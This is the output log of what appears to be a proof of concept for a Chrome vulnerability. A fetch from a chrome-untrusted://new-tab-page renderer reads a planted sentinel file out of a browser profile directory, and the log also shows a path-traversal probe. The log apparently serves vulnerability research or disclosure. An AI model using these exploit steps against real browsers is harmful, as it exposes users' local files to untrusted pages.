[+] Planted sentinel at /tmp/chrome-poc-profile/Default/secret_subdir/nested/background.jpg
[+] Opened chrome://new-tab-page target=B49F00E9EE5EAE59D53A2DAF91E39380
[+] Opened chrome-untrusted://new-tab-page/image?https://example.com target=43B9D1F21C5A0B956A243E58248951BA
[+] Renderer location.href = chrome-untrusted://new-tab-page/image?https://example.com
[+] fetch('chrome-untrusted://new-tab-page/secret_subdir/nested/background.jpg') from chrome-untrusted renderer ...
[+] Response length = 41
[+] Response body   = 'POC-SECRET-FILE-CONTENTS-1234567890abcdef'

*** VULNERABILITY CONFIRMED ***
Browser process read /tmp/chrome-poc-profile/Default/secret_subdir/nested/background.jpg
and returned its contents to the chrome-untrusted://new-tab-page renderer.

[+] ../ traversal probe -> {"len":0}